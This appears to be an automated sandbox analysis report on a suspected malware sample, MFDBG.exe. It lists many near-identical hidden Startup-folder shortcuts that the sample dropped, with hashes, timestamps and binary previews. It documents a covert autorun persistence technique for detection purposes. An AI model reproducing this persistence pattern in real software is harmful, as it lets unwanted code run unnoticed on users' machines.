Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71b159d28dff48558066aed0f9e2d7c8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93693876814321
Encrypted:	false
SSDEEP:	24:8VhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Fs0R6rMhpBoUBxdRd1nYyg
MD5:	9DBF76266F321856E06656E9FF91BBA9
SHA1:	80029C9444F06D85E66C17DC67FDAD71585223A8
SHA-256:	01E5727ED1372DB636E78B75A46FECA64A32A7FDD1685779EEC406933118BEF4
SHA-512:	7140BFFBCE366AF9CB6215CFE34E826E9F53280D325F6FDFD3CC369AF5D66984784D2D81EC342F96D67AECA2A84F48664C82F15F73C69F07B86E458AA7EB4487
Malicious:	false
Preview:	L..................F...."...]W%.{...(...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71c4f14c069d4dd2a1fc2fac3882299f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9374456573963865
Encrypted:	false
SSDEEP:	24:8vhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zKI0R6rMhpBoUBxdRd1nYyg
MD5:	6B8BCE0BD9EB92A4A7FA63A48CA32042
SHA1:	6CF51E750DA1D335CCA701C381E9F68683D28943
SHA-256:	F3B5B1278ADC85AB67D5A7302B9AB8682F581D3DB3733B0CA6AAD8890436E51E
SHA-512:	FE016EAE99BBC6D4B5C73E4128E88FDC53D4EE0F2B639A7942599ADC580AE1ED5DDC6F6CA6DC04C76C96FD6C1B366F5F3B16DD8319D518C2EF4F1AC07AD5CAC9
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71d269ef04ec48e59f9e63c257cd4a36.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152355
Encrypted:	false
SSDEEP:	24:8m8hBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mOp0R6rMhpBoUBxdRd1nYyg
MD5:	74C38B282C7BDACD16D4A9E2367275D1
SHA1:	31A7417F75A73E9E057A6AB2C00C4378AD5DA079
SHA-256:	5B2928545BB792214F6C5540BD23297B877C4D80464941944A80D9E8FA2FD76E
SHA-512:	7AC1D7728D451864A33502304B4B3E157EA56F542EEC6FEC39DFDB5A19BB14AD2D832392431DDB76A8D3DA6A424C9608C059E8E6B858268C105F12B76002B4B5
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71fd9c32861a45c1b236dff5e1044f1a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937026755341544
Encrypted:	false
SSDEEP:	24:8whBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8is0R6rMhpBoUBxdRd1nYyg
MD5:	E2C057BB35E326BBC344E489AE27BFF3
SHA1:	C59CABA937C896C75EA56817014FABC6B75FD7B4
SHA-256:	473FE6EB23172FC98D9B6D116396C4B6BA49792C8858C368BA010082B6FEBAE9
SHA-512:	D0A80EB0CB71BF6DD65D00366229B9EE6E8BFFAE8B12C89003BEF0B99C4FD44FE398424B91FD9A1D778D5780D9141A067FF83DBC7DE2D11EA247514EFF1617EF
Malicious:	false
Preview:	L..................F...."...]W%.{....>.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_721b72bde8d94220ac20a94fe758d711.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932423275379057
Encrypted:	false
SSDEEP:	24:8+hBfE8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Up0R6rMhpBoUBxdRd1nYyg
MD5:	3833A8B61D3E36472B866BD860C224EA
SHA1:	485B30A4B52064EAA8C55F58DA853A7AE2741F46
SHA-256:	EC957804F3957C475C2BB69AF21BEB51366BDFFC223CB921C2EAB08246520977
SHA-512:	EF807AAACB7A92888F44F0468AF65533AB7C7150F47E54BDE436D0A8E1D8CEFE19AABCBADAC78F96462BCE27B407847576BCF788E769052852E80D534D0E364E
Malicious:	false
Preview:	L..................F...."...]W%.{....o..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_72f1e733920a48c7a14bda34bab732da.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936905412416575
Encrypted:	false
SSDEEP:	24:8gPhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gTr0R6rMhpBoUBxdRd1nYyg
MD5:	6D01C4BEE447AB96EE520E4497D3D9E1
SHA1:	60184E3FE917BB23860B08F4D1AE8F1D3A9375B7
SHA-256:	49FD904099434B5603FFA66BDA1D5ECD1BC22C137CE4E1CEBD96CC936EBCCF43
SHA-512:	378A6C5292895E8455FF56FC538A494F1D73A66BD241E69BB91BFEB4EB1A60BCB1962BBE7BAC2802A175137129717765C324078D78E303A0C3617E8A059AF683
Malicious:	false
Preview:	L..................F...."...]W%.{....?8.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73397d2003164f529839f62dc3b154aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930561337918593
Encrypted:	false
SSDEEP:	24:8S2hBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ScU0R6rMhpBoUBxdRd1nYyg
MD5:	E98DD60620FD1641E0C94E10325BC462
SHA1:	66C840CE49AB9E7CD628B9F4FF22258B9006BAEA
SHA-256:	9C6BC9845770CD4E37418FADB8E31CC3E87EA12AD7C0249A66B4F4C54D635290
SHA-512:	DBB062BD860BB0BC66AB541943CB0621DAB5E0BBB96DA18637A7C93D6CD765E9C677247DF17ED5D214FA51D0568355E8968DB06B3623C3F6C1783E4E1DE739C8
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73644cf69f1048b5b7dc1f5ef2b21e7b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939309867000892
Encrypted:	false
SSDEEP:	24:8eXGhBf2p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8aMeO0R6rMhpBoUBxdRd1nYyg
MD5:	6A0E6351DE8CE0FAC6F043FEE0A7DAB6
SHA1:	DD812761A14685202897E281A88960B5F286CE15
SHA-256:	240C0AF152FD8619858FD489C25930E7918868855973136B99F0045D467366B0
SHA-512:	51383EDB50E0570FB1553021D5032EB01BD8D706F64ADD26EA421BE8347FB725955ADB148A30B40B29B3A99BAD48B3A081D72813471279488C18A2D7F807827F
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_737cf91bedbe4a40b42065262135ed75.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9406259573738645
Encrypted:	false
SSDEEP:	24:8WhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88KI0R6rMhpBoUBxdRd1nYyg
MD5:	96789A8AAF5E65EDB86656A3CD500452
SHA1:	6B1B2AC5D776D522F2171B7E5FF78F042B550069
SHA-256:	9CEDACBDACF24192865049DDED42CD479B366CB0A4D3D1F9C3BB8CADDD7A797F
SHA-512:	36DA8A69B49BEFFF5B6C16522233718EA0A20A3254D7791389DA3584D84E0C607ACDDD9114CA96B54572B7172C7FE5A1756E17CDA63CD4D94C5A4AC1151BC990
Malicious:	false
Preview:	L..................F...."...]W%.{....~..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73845d6e679f474b885ef827044829ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943843124294043
Encrypted:	false
SSDEEP:	24:8DmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ds60R6rMhpBoUBxdRd1nYyg
MD5:	A898701DC143A36A5DD1EBEF1E3FB4A0
SHA1:	1F4A619897817FF6443F916FF51D9795798931F1
SHA-256:	79F0144CEE563E176D55306CD3038861F740CFA4E63A067FC1E61AABCA267083
SHA-512:	F1B66185825C27D7E844DDF90EA668FFCB5FFCDD12EB897B895EEECD593F73C3C6E59BA1E4707CF6080FD7B7B8422FAAA15DF6639B2723F75A7F770AE9AE1ACC
Malicious:	false
Preview:	L..................F...."...]W%.{....E..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7387ac33ab7545c59faefc40001f15b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9406259573738645
Encrypted:	false
SSDEEP:	24:8WhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88r0R6rMhpBoUBxdRd1nYyg
MD5:	450ED588F9BE5AAFC3FE4B971538A274
SHA1:	4470FBB91F9BCCD3F6F5DFB7B64CB3BB3C9FDEAF
SHA-256:	060C98C3C0DD600C0EA9F71D5CFDB1B43452105846BFC93B110700D82E2DCCA6
SHA-512:	7D3300090EE55BEFF2A329380057F2D467E93720393530543077F1A812A0F7ADAA09E0A9BC693ABD57CB307EAC1F1A723FF5C1155F4FCADA91BE9BDA4B6A6695
Malicious:	false
Preview:	L..................F...."...]W%.{...4...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....P..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_739590bbc24646e1bd83ef85c067c0e9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935427600959865
Encrypted:	false
SSDEEP:	24:8YPhBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YTKI0R6rMhpBoUBxdRd1nYyg
MD5:	8EEA9566BE772AC8E631FB98904D930D
SHA1:	057D609C1F6BBD938CC5A18289555AA05B0D242F
SHA-256:	125C57BEF0CDA57AD4827A4DD7DC829ED06FEDB3B0B50BD589354F517CF3AD2D
SHA-512:	CA6B54DCC832D7D913F94F935A7109B3D2D7ED307DCD60D5EDAF3D2160D8808B53B8C5E43AD9EC142994C27A00854DB33544D4B6292B50CBAF7BD9ADF987EDE1
Malicious:	false
Preview:	L..................F...."...]W%.{....C..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73e8b78942c84cebafed46b2026986ac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936416287692398
Encrypted:	false
SSDEEP:	24:8AhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8S60R6rMhpBoUBxdRd1nYyg
MD5:	EDF1DC7A6DCD8A21972391E7ACAEB5C4
SHA1:	60C4245CC0C829A7314DA4BECF92D3753F6CEF7C
SHA-256:	9C1C23E7DE366EA9C12A792E8E9D54A39268B876EF04B53F97CC86D0845F0E9B
SHA-512:	866E2C3ED3848530F66C485E3B1CAE9D90EEB15D5ABC3E5CB322BB5761945F431DC17B989235A989B84CCABB9E541C0590B502A467473BDD50D145A1217007EE
Malicious:	false
